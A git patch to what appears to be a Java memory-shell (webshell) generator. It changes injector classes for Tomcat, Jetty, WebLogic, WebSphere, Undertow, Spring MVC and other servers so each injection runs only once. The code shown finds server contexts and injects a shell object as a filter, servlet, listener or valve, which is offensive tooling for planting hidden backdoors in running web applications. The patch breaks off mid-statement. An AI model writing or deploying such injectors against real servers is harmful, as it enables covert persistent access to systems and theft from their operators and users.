From 16c2d49ceda7fc27f869a3e21280dfa5dde9f39a Mon Sep 17 00:00:00 2001 From: ReaJason Date: Wed, 3 Dec 2025 22:21:45 +0800 Subject: [PATCH] perf: run only once --- .../injector/apusic/ApusicFilterInjector.java | 15 ++++++-- .../apusic/ApusicListenerInjector.java | 13 +++++-- .../apusic/ApusicServletInjector.java | 11 ++++-- .../injector/bes/BesFilterInjector.java | 11 ++++-- .../injector/bes/BesListenerInjector.java | 11 ++++-- .../injector/bes/BesValveInjector.java | 11 ++++-- .../glassfish/GlassFishFilterInjector.java | 11 ++++-- .../glassfish/GlassFishValveInjector.java | 11 ++++-- .../inforsuite/InforSuiteFilterInjector.java | 11 ++++-- .../jetty/JettyCustomizerInjector.java | 9 +++-- .../injector/jetty/JettyFilterInjector.java | 11 ++++-- .../injector/jetty/JettyHandlerInjector.java | 11 ++++-- .../injector/jetty/JettyListenerInjector.java | 11 ++++-- .../injector/jetty/JettyServletInjector.java | 11 ++++-- .../injector/resin/ResinFilterInjector.java | 11 ++++-- .../injector/resin/ResinListenerInjector.java | 11 ++++-- .../injector/resin/ResinServletInjector.java | 11 ++++-- ...SpringWebMvcControllerHandlerInjector.java | 23 ++++++++---- .../SpringWebMvcInterceptorInjector.java | 23 ++++++++---- .../injector/tomcat/TomcatFilterInjector.java | 36 +++++++++++-------- .../tomcat/TomcatListenerInjector.java | 13 +++++-- .../tomcat/TomcatProxyValveInjector.java | 11 ++++-- .../tomcat/TomcatServletInjector.java | 11 ++++-- .../injector/tomcat/TomcatValveInjector.java | 11 ++++-- .../tomcat/TomcatWebSocketInjector.java | 11 ++++-- .../tongweb/TongWebFilterInjector.java | 9 ++++- .../tongweb/TongWebListenerInjector.java | 11 ++++-- .../tongweb/TongWebValveInjector.java | 11 ++++-- .../undertow/UndertowFilterInjector.java | 11 ++++-- .../undertow/UndertowListenerInjector.java | 27 ++++++++------ .../undertow/UndertowServletInjector.java | 11 ++++-- .../weblogic/WebLogicFilterInjector.java | 11 ++++-- .../weblogic/WebLogicListenerInjector.java | 11 ++++-- .../weblogic/WebLogicServletInjector.java | 11 ++++-- .../websphere/WebSphereFilterInjector.java | 13 ++++--- .../websphere/WebSphereListenerInjector.java | 11 ++++-- .../websphere/WebSphereServletInjector.java | 11 ++++-- .../xxljob/XxlJobNettyHandlerInjector.java | 5 +++ 38 files changed, 374 insertions(+), 109 deletions(-) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java index e5255058..6185cc79 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java @@ -7,7 +7,9 @@ import java.io.PrintStream; import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.Method; -import java.util.*; +import java.util.HashSet; +import java.util.Map; +import java.util.Set; import java.util.zip.GZIPInputStream; /** @@ -17,6 +19,7 @@ import java.util.zip.GZIPInputStream; public class ApusicFilterInjector { private String msg = ""; + private static boolean ok = false; public String getUrlPattern() { return "{{urlPattern}}"; @@ -31,16 +34,21 @@ public class ApusicFilterInjector { } public ApusicFilterInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[" + getUrlPattern() + "] ready\n"; @@ -49,6 +57,7 @@ public class ApusicFilterInjector { } } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java index 3269cab5..f4ccfbdf 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java @@ -16,6 +16,7 @@ import java.util.zip.GZIPInputStream; public class ApusicListenerInjector { private String msg = ""; + private static boolean ok = false; public String getUrlPattern() { return "{{urlPattern}}"; @@ -30,24 +31,30 @@ public class ApusicListenerInjector { } public ApusicListenerInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); - msg += "[/*] ready\n"; + msg += "[" + getUrlPattern() + "] ready\n"; } catch (Throwable e) { msg += "failed " + getErrorMessage(e) + "\n"; } } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java index 2af92e40..d18a694d 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java @@ -16,6 +16,7 @@ import java.util.zip.GZIPInputStream; public class ApusicServletInjector { private String msg = ""; + private static boolean ok = false; public String getUrlPattern() { return "{{urlPattern}}"; @@ -30,16 +31,21 @@ public class ApusicServletInjector { } public ApusicServletInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[" + getUrlPattern() + "] ready\n"; @@ -48,6 +54,7 @@ public class ApusicServletInjector { } } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java index cc615f7b..b2904d42 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java @@ -16,6 +16,7 @@ import java.util.zip.GZIPInputStream; */ public class BesFilterInjector { private String msg = ""; + private static boolean ok = false; public String getUrlPattern() { return "{{urlPattern}}"; @@ -30,16 +31,21 @@ public class BesFilterInjector { } public BesFilterInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[" + getUrlPattern() + "] ready\n"; @@ -48,6 +54,7 @@ public class BesFilterInjector { } } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java index f165de99..4d4ee815 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java @@ -16,6 +16,7 @@ import java.util.zip.GZIPInputStream; public class BesListenerInjector { private String msg = ""; + private static boolean ok = false; public String getClassName() { return "{{className}}"; @@ -26,16 +27,21 @@ public class BesListenerInjector { } public BesListenerInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[/*] ready\n"; @@ -44,6 +50,7 @@ public class BesListenerInjector { } } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java index bb82522e..6f1bcced 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java @@ -15,6 +15,7 @@ import java.util.zip.GZIPInputStream; public class BesValveInjector { private String msg = ""; + private static boolean ok = false; public String getClassName() { return "{{className}}"; @@ -25,16 +26,21 @@ public class BesValveInjector { } public BesValveInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[/*] ready\n"; @@ -43,6 +49,7 @@ public class BesValveInjector { } } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java index ee90338b..48c65c62 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java @@ -16,6 +16,7 @@ import java.util.zip.GZIPInputStream; public class GlassFishFilterInjector { private String msg = ""; + private static boolean ok = false; public String getUrlPattern() { return "{{urlPattern}}"; @@ -30,16 +31,21 @@ public class GlassFishFilterInjector { } public GlassFishFilterInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[" + getUrlPattern() + "] ready\n"; @@ -48,6 +54,7 @@ public class GlassFishFilterInjector { } } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java index 03647abd..f0549577 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java @@ -15,6 +15,7 @@ import java.util.zip.GZIPInputStream; public class GlassFishValveInjector { private String msg = ""; + private static boolean ok = false; public String getClassName() { return "{{className}}"; @@ -26,16 +27,21 @@ public class GlassFishValveInjector { public GlassFishValveInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[/*] ready\n"; @@ -44,6 +50,7 @@ public class GlassFishValveInjector { } } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java index c2432ae7..34c84ff5 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java @@ -17,6 +17,7 @@ import java.util.zip.GZIPInputStream; public class InforSuiteFilterInjector { private String msg = ""; + private static boolean ok = false; public String getUrlPattern() { return "{{urlPattern}}"; @@ -31,16 +32,21 @@ public class InforSuiteFilterInjector { } public InforSuiteFilterInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[" + getUrlPattern() + "] ready\n"; @@ -49,6 +55,7 @@ public class InforSuiteFilterInjector { } } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyCustomizerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyCustomizerInjector.java index 0e05fd72..cde5bdcb 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyCustomizerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyCustomizerInjector.java @@ -18,6 +18,7 @@ import java.util.zip.GZIPInputStream; public class JettyCustomizerInjector { private String msg = ""; + private static boolean ok = false; public String getClassName() { return "{{className}}"; @@ -28,6 +29,9 @@ public class JettyCustomizerInjector { } public JettyCustomizerInjector() { + if (ok) { + return; + } Object channel = null; try { channel = getChannel(); @@ -35,10 +39,10 @@ public class JettyCustomizerInjector { msg += "channel error: " + getErrorMessage(throwable); } if (channel == null) { - msg += "channel is null"; + msg += "channel not found"; } else { - msg += ("channel: [" + channel + "] "); try { + msg += ("channel: [" + channel + "] "); Object shell = getShell(channel); inject(channel, shell); msg += "[/*] ready\n"; @@ -46,6 +50,7 @@ public class JettyCustomizerInjector { msg += "failed " + getErrorMessage(e) + "\n"; } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java index 1b6a25e3..3ded4c73 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java @@ -20,6 +20,7 @@ import java.util.zip.GZIPInputStream; public class JettyFilterInjector { private String msg = ""; + private static boolean ok = false; public String getUrlPattern() { return "{{urlPattern}}"; @@ -34,16 +35,21 @@ public class JettyFilterInjector { } public JettyFilterInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[" + getUrlPattern() + "] ready\n"; @@ -52,6 +58,7 @@ public class JettyFilterInjector { } } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerInjector.java index c4c121f6..1c288424 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerInjector.java @@ -18,6 +18,7 @@ import java.util.zip.GZIPInputStream; public class JettyHandlerInjector { private String msg = ""; + private static boolean ok = false; public String getClassName() { return "{{className}}"; @@ -28,15 +29,20 @@ public class JettyHandlerInjector { } public JettyHandlerInjector() { + if (ok) { + return; + } Object server = null; try { server = getServer(); } catch (Throwable throwable) { msg += "server error: " + getErrorMessage(throwable); } - if (server != null) { - msg += ("server: [" + server + "] "); + if (server == null) { + msg += "server not found"; + } else { try { + msg += ("server: [" + server + "] "); Object shell = getShell(server); inject(server, shell); msg += "[/*] ready\n"; @@ -44,6 +50,7 @@ public class JettyHandlerInjector { msg += "failed " + getErrorMessage(e) + "\n"; } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java index 7e3f0871..4edd82c3 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java @@ -17,18 +17,24 @@ import java.util.zip.GZIPInputStream; public class JettyListenerInjector { private String msg = ""; + private static boolean ok = false; public JettyListenerInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[/*] ready\n"; @@ -37,6 +43,7 @@ public class JettyListenerInjector { } } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java index ae51b449..e5e36f15 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java @@ -18,6 +18,7 @@ import java.util.zip.GZIPInputStream; public class JettyServletInjector { private String msg = ""; + private static boolean ok = false; public String getUrlPattern() { return "{{urlPattern}}"; @@ -32,16 +33,21 @@ public class JettyServletInjector { } public JettyServletInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[" + getUrlPattern() + "] ready\n"; @@ -50,6 +56,7 @@ public class JettyServletInjector { } } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java index 88048e8e..4b030ac0 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java @@ -15,6 +15,7 @@ import java.util.zip.GZIPInputStream; public class ResinFilterInjector { private String msg = ""; + private static boolean ok = false; public String getUrlPattern() { return "{{urlPattern}}"; @@ -29,16 +30,21 @@ public class ResinFilterInjector { } public ResinFilterInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[" + getUrlPattern() + "] ready\n"; @@ -47,6 +53,7 @@ public class ResinFilterInjector { } } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java index cbb859c7..90f69d48 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java @@ -18,6 +18,7 @@ import java.util.zip.GZIPInputStream; public class ResinListenerInjector { private String msg = ""; + private static boolean ok = false; public String getClassName() { return "{{className}}"; @@ -28,16 +29,21 @@ public class ResinListenerInjector { } public ResinListenerInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[/*] ready\n"; @@ -46,6 +52,7 @@ public class ResinListenerInjector { } } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java index 56103412..017f3e88 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java @@ -16,6 +16,7 @@ import java.util.zip.GZIPInputStream; public class ResinServletInjector { private String msg = ""; + private static boolean ok = false; public String getUrlPattern() { return "{{urlPattern}}"; @@ -30,16 +31,21 @@ public class ResinServletInjector { } public ResinServletInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += "context: [" + getContextRoot(context) + "] "; try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[" + getUrlPattern() + "] ready\n"; @@ -48,6 +54,7 @@ public class ResinServletInjector { } } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcControllerHandlerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcControllerHandlerInjector.java index 8251d863..bc4bedba 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcControllerHandlerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcControllerHandlerInjector.java @@ -17,6 +17,7 @@ import java.util.zip.GZIPInputStream; public class SpringWebMvcControllerHandlerInjector { private String msg = ""; + private static boolean ok = false; public String getUrlPattern() { return "{{urlPattern}}"; @@ -31,20 +32,28 @@ public class SpringWebMvcControllerHandlerInjector { } public SpringWebMvcControllerHandlerInjector() { + if (ok) { + return; + } Object context = null; try { context = getContext(); } catch (Throwable e) { msg += "context error: " + getErrorMessage(e); } - try { - Object shell = getShell(); - msg += "context: [" + context + "] "; - inject(context, shell); - msg += "[" + getUrlPattern() + "] ready\n"; - } catch (Throwable e) { - msg += "failed " + getErrorMessage(e) + "\n"; + if (context == null) { + msg += "context not found"; + } else { + try { + Object shell = getShell(); + msg += "context: [" + context + "] "; + inject(context, shell); + msg += "[" + getUrlPattern() + "] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcInterceptorInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcInterceptorInjector.java index e32299d5..a4ab3241 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcInterceptorInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcInterceptorInjector.java @@ -17,6 +17,7 @@ import java.util.zip.GZIPInputStream; public class SpringWebMvcInterceptorInjector { private String msg = ""; + private static boolean ok = false; public String getClassName() { return "{{className}}"; @@ -27,20 +28,28 @@ public class SpringWebMvcInterceptorInjector { } public SpringWebMvcInterceptorInjector() { + if (ok) { + return; + } Object context = null; try { context = getContext(); } catch (Throwable e) { msg += "context error: " + getErrorMessage(e); } - try { - Object shell = getShell(); - msg += "context: [" + context + "] "; - inject(context, shell); - msg += "[/*] ready\n"; - } catch (Throwable e) { - msg += "failed " + getErrorMessage(e) + "\n"; + if (context == null) { + msg += "context not found"; + } else { + try { + Object shell = getShell(); + msg += "context: [" + context + "] "; + inject(context, shell); + msg += "[/*] ready\n"; + } catch (Throwable e) { + msg += "failed " + getErrorMessage(e) + "\n"; + } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java index 8d949331..5ab10d51 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java @@ -18,18 +18,36 @@ import java.util.zip.GZIPInputStream; public class TomcatFilterInjector { private String msg = ""; + private static boolean ok = false; + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() { + return "{{base64Str}}"; + } public TomcatFilterInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[" + getUrlPattern() + "] ready\n"; @@ -38,6 +56,7 @@ public class TomcatFilterInjector { } } } + ok = true; System.out.println(msg); } @@ -57,19 +76,6 @@ public class TomcatFilterInjector { } return c + "(" + r + ")"; } - - public String getUrlPattern() { - return "{{urlPattern}}"; - } - - public String getClassName() { - return "{{className}}"; - } - - public String getBase64String() { - return "{{base64Str}}"; - } - /** * org.apache.catalina.core.StandardContext * /usr/local/tomcat/server/lib/catalina.jar diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java index 71957631..eeef51a6 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java @@ -15,6 +15,7 @@ import java.util.zip.GZIPInputStream; public class TomcatListenerInjector { private String msg = ""; + private static boolean ok = false; public String getClassName() { return "{{className}}"; @@ -25,24 +26,30 @@ public class TomcatListenerInjector { } public TomcatListenerInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); - msg += " [/*] ready\n"; + msg += "[/*] ready\n"; } catch (Throwable e) { msg += "failed " + getErrorMessage(e) + "\n"; } } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java index 3fc29891..ccc5e1fe 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java @@ -19,18 +19,24 @@ public class TomcatProxyValveInjector implements InvocationHandler { private Object rawValve; private Object proxyValve; private String msg = ""; + private static boolean ok = false; public TomcatProxyValveInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += "[/*] ready\n"; @@ -39,6 +45,7 @@ public class TomcatProxyValveInjector implements InvocationHandler { } } } + ok = true; System.out.println(msg); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java index bb529d4f..131a4f93 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java @@ -18,6 +18,7 @@ import java.util.zip.GZIPInputStream; public class TomcatServletInjector { private String msg = ""; + private static boolean ok = false; public String getClassName() { return "{{className}}"; @@ -32,16 +33,21 @@ public class TomcatServletInjector { } public TomcatServletInjector() { + if (ok) { + return; + } Set contexts = null; try { contexts = getContext(); } catch (Throwable throwable) { msg += "context error: " + getErrorMessage(throwable); } - if (contexts != null) { + if (contexts == null) { + msg += "context not found"; + } else { for (Object context : contexts) { - msg += ("context: [" + getContextRoot(context) + "] "); try { + msg += ("context: [" + getContextRoot(context) + "] "); Object shell = getShell(context); inject(context, shell); msg += 